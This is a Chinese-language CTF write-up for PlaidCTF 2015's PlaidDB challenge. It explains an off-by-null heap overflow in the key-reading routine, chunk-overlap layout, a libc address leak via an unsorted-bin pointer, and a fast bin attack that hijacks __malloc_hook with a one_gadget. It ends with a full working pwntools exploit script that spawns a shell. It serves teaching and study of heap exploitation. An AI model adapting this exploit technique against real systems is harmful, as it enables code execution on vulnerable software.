【plaidctf 2015】PlaidDB
收获
- 利用 off-by-one 漏洞造成 Chunk Overlap,通过对堆的布局利用 unsorted bin修改已有chunk内容为bk指针,泄露 libc 地址,并利用 fast bin attack,错位伪造chunk,劫持__malloc_hook为 one_gadget 来 getshell
思路
本地环境:Glibc 2.23
查看保护,64 位保护全开:
尝试运行:
IDA 下分析:
程序最开始会初始化三个堆,经过后面的分析可以知道,第一个堆存放的是结构体,主要使用了二叉树的结构来存储数据:
struct Node {
    char *key;
    long data_size;
    char *data;
    struct Node *left;
    struct Node *right;
    long dummy;
    long dummy1;
}不过关于树的结构我没太看懂。。。网上说是红黑树?我只知道前三个指针,但是二叉树各节点之间的关系是怎么来的不太明白
其初始化 row_key 为 th3fl4g,初始化 data 为 youwish
程序运行时 PROMPT: Enter command: 是在 sub_1A20() 函数中定义的,有 GET、PUT、DUMP、DEL、EXIT 这几种命令:
GET 功能:
首先通过 sub_1040() 函数读取 row_key:
首先 malloc(8) 来存放 row_key ,如果空间大小不够,再 realloc()
仔细观察可以发现
sub_1040()函数这个输入存在 off-by-null 漏洞,如果将数据写满,该函数会溢出 1 字节,并将其置为 NULL
PUT 功能:
主要是输入一些数据,首先 malloc(0x38) 申请了一个堆块用于存放结构体
同样使用了 sub_1040() 函数来读取 row_key,并申请了第二个堆块,指针存放在 *v0
然后 malloc(v1) 申请了第三个堆块,读入 size 大小的数据 data
通过调试来验证一下,执行 PUT(1, 2, b'a'):
DEL 功能:
这个函数实现的是删除功能,由于是二叉树结构,这个函数比较复杂,只需要知道是按照 row_key 来进行删除的就行,row_key 通过 sub_1040() 函数读取,依然是存在 off-by-one 漏洞的
现在根据以上分析,结合程序运行,可以大致知道该程序的功能了:
- PUT插入数据,包括- row_key、- data_size、- data
- GET打印- row_key对应的- data
- DUMP打印所有- row_key
- DEL删除- row_key对应的数据
虽然输入 row_key 时存在 off-by-one 漏洞,但特殊在于,其使用了 realloc() 使分配的大小通过可用空间大小乘二的方式增大
也就是说想要触发这个漏洞,对于分配的大小有要求,满足该要求的大小有:0x18、0x38、0x78、0xf8、0x1f8 等
通过 off-by-one 漏洞溢出后,可以造成 Chunk Overlap,并泄露 libc 地址,且可以形成 UAF,对于 UAF 漏洞首选 fast bin attack 的方法
我们首先需要有一个处于释放状态的 unsorted bin chunk 或者 small bin chunk,然后在其下方还需要一个进行溢出的 chunk 和被溢出的 chunk
然后利用 off-by-one 漏洞,使它们全都被合并为一个处于释放状态的 chunk,这样中间任意 chunk 的位置如果是已被分配的,就可以造成 Chunk Overlap
大致结构如下:
+------------+
|            |  <-- free 的 unsorted bin 或是 small bin chunk (因为此时 fd 和 bk 指向合法指针,才能够进行 unlink)
+------------+
|     ...    |  <-- 任意 chunk
+------------+
|            |  <-- 进行溢出的 chunk
+------------+
|    vuln    |  <-- 被溢出的 chunk,大小为 0x_00 (例如 0x100, 0x200……)
+------------+结合 sub_1040() 函数通过 malloc(8) 再 realloc() 的分配方式,对于堆的布局有以下要求:
- 任意 chunk位置至少有一个已经被分配、且可以读出数据的chunk来泄露libc地址
- 任意 chunk位置至少还需要有一个已经被释放、且size为0x71的chunk来进行fast bin attack
- 进行溢出的 chunk需要在最上方的chunk之前被分配,否则malloc(8)的时候会分配到最上方,而不是进行溢出chunk所在的下方的位置
- 进行溢出的 chunk大小应该属于unsorted bin或是small bin,不能为fast bin,否则被释放之后,按照sub_1040()函数的分配方式,malloc(8)无法分配在该位置
- 最下方应该有一个已经被分配的 chunk来防止与top chunk合并
按照上述要求,完整的堆结构应该如下:
+------------------+
|      chunk 1     |  <-- free 的 size == 0x200 chunk
+------------------+
|      chunk 2     |  <-- size == 0x60 fastbin chunk,已被分配,且可以读出数据
+------------------+
|      chunk 3     |  <-- size == 0x71 fastbin chunk,为 fastbin attack 做准备
+------------------+
|      chunk 4     |  <-- size == 0x1f8 free 状态的 small bin/unsorted bin chunk
+------------------+
|      chunk 5     |  <-- size == 0x101 被溢出 chunk
+------------------+
|         X        |  <-- 任意分配后 chunk 防止 top chunk 合并
+------------------+由于分配过程中还存在一些额外结构,包括结构体本身的分配和 sub_1040() 函数,因此需要先释放出足够的 fast bin chunk 来避免结构体本身的分配对我们布置的对结构造成影响
这里通过先执行 10 次 PUT() 和 10 次 DEL() 来实现:
构造好我们需要的堆块后,分别 free 掉 chunk 3、chunk 4 和 chunk 1
DEL(b'3'):
DEL(b'4'):
DEL(b'1'):
这样就形成了我们所需要的堆结构
然后利用 DEL() 中 sub_1040() 函数读取 row_key 时的 off-by-one 漏洞,将 chunk 4 写满,并溢出覆盖 chunk 5 的 prev_size 域:
这里覆盖的是 0x4e0,因为我们为了造成 Chunk Overlap,需要让这些 chunk 全部被合并为一个处于释放状态的 chunk
因此 chunk 5 的 prev_size 域需要修改为前几个 chunk 的大小之和,即:0x4e0 = 0x200 + 0x50 + 0x68 + 0x1f8 + 0x30
然后 free 掉 chunk 5,这些 chunk 将会被合并成一个 unsorted bin:
由于此时还存在一个 0x360 的 small bin:
为了防止干扰,需要先通过 PUT(b'0x200', 0x200, b'fillup') 将其分配掉:
此时合并的 chunk 被置于 large bin:
为了泄露 libc 基地址,我们可以利用
unsorted bin的特性,打印其bk指针首先,我们需要利用此时
chunk 2与合并的chunk重叠的特点,利用unsorted bin来修改chunk 2的指针
因此,我们先通过 PUT(b'0x200 fillup', 0x200, b'fillup again') 从 large bin 中将之前的 chunk 1 的空间分配掉:
此时 chunk 2 处于 unsorted bin 的第一个位置,其指针已被 unsorted bin 修改
于是我们只需 GET(b'2') 就可以在 data_size 输出的位置输出 bk 指针:
bk 指针指向 main_arena + 88 的位置,根据 main_arena 与 __malloc_hook 存在固定偏移 0x10,利用 __malloc_hook 在 libc 中的偏移即可得到 libc 基地址:
由于前面我们已经释放了 chunk 1、chunk 3、chunk 4,只剩 chunk 2 和 chunk 5 可以利用了,此时 unsorted bin 距离 chunk 5 正好 0x5586e425b950 - 0x5586e425b900 = 0x50
于是填充 0x58 就可以修改 chunk 5 的 size 域和 fd,即可控制下一个 fast bin 的位置
然后进行 fast bin attack:
劫持 __malloc_hook 为 one_gadget:
这样看得更清楚:
最后执行一次 DEL()
利用 sub_1040() 函数中的 malloc(8) 触发 one_gadget 即可获得 shell
脚本
from pwn import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # ubuntu 16.04 Glibc 2.23
if content == 1:
    # 将本地的 Linux 程序启动为进程 io
    io = process('./datastore')
# 附加 gdb 调试
def debug(cmd=""):
    if content == 1:  # 只有本地才可调试,远程无法调试
        gdb.attach(io, cmd)
        pause()
def PUT(row_key, size, data):
    io.sendlineafter('command:\n', b'PUT')
    io.sendlineafter('key:\n', row_key)
    io.sendlineafter('size:\n', str(size))
    if len(data) < size:
        data = data.ljust(size, b'\x00')
    io.sendafter('data:\n', data)
def DEL(row_key):
    io.sendlineafter('command:\n', 'DEL')
    io.sendlineafter('key:\n', row_key)
def GET(row_key):
    io.sendlineafter('command:\n', 'GET')
    io.sendlineafter('key:\n', row_key)
    io.recvuntil('[')
    num = int(io.recvuntil(b' bytes', drop=b' bytes'))
    io.recvuntil(':\n')
    return io.recv(num)
# 相关函数实现的时候用到了一些 0x38 大小的块,避免影响我们提前搞一些
for i in range(10):
    PUT(str(i).encode(), 0x38, str(i).encode())
for i in range(10):
    DEL(str(i).encode())
PUT(b'1', 0x200, b'1')   # 设置的大一些,后面分配的时候会优先将其分配出去,但分配的过大就不会物理相连了,实测绕不开后面的问题
PUT(b'2', 0x50, b'2')    # 用来都 libc 的已分配块,表面上未分配,大小符合 fast bin 即可,暂未验证
PUT(b'3', 0x68, b'3')    # 用来进行 fast bin attack 的块,大小应该符合 fast bin 即可,暂未验证
PUT(b'4', 0x1f8, b'4')   # 用来溢出的块,溢出到下一个块的 pre_size 把他修改成上面全部块大小的和
PUT(b'5', 0xf0, b'5')    # 用来被溢出的块
PUT(b'defense', 0x400, b'defense-top chunk')   # 用来防止被 top chunk 合并
DEL(b'3')
DEL(b'4')
DEL(b'1')
DEL(b'a' * 0x1f0 + p64(0x4e0))   # 溢出,0x4e0 = 0x200 + 0x50 + 0x68 + 0x1f8 + 0x30 (这是没有被使用的指针部分大小,三个)
DEL(b'5')   # 合并 1 2 5 3 4 块
PUT(b'0x200', 0x200, b'fillup')   # 这里是在 defense 块分配后导致清理碎片清理,多出来一个 0x360 的 small bin 要先把他分配掉
PUT(b'0x200 fillup', 0x200, b'fillup again')   # 把 1 分配掉,这样 2 就是第一个块了,可以打印相关地址,泄漏 libc 基地址
libc_leak = u64(GET('2')[:6].ljust(8, b'\x00'))
log.success('libc_leak: ' + hex(libc_leak))
__malloc_hook_addr = libc_leak - 88 - 0x10
libc_base = __malloc_hook_addr - libc.symbols['__malloc_hook']
log.success('libc_base: ' + hex(libc_base))
# 这些块物理相连,a*58 之后正好是 5 块的 size 和 fd,修改即可控制下一个 fast bin 的位置
# -0x10 是为了留出指针空间,-3 是为了把指针所指的 __malloc_hook 处的 7f 地址提前,当成 pre_size 相关内容,否则 fake_fast bin 格式不符合要求
# debug()
PUT(b'fastatk', 0x100, b'a' * 0x58 + p64(0x71) + p64(__malloc_hook_addr - 0x10 + 5 - 8))
PUT(b'prepare', 0x68, b'prepare data')
one_gadget = libc_base + 0x4527a   # 0x45226 0x4527a 0xf03a4 0xf1247
PUT(b'attack', 0x68, b'a' * 3 + p64(one_gadget))
io.sendline(b'DEL') # malloc(8) 出发 one_gadget
io.interactive()









































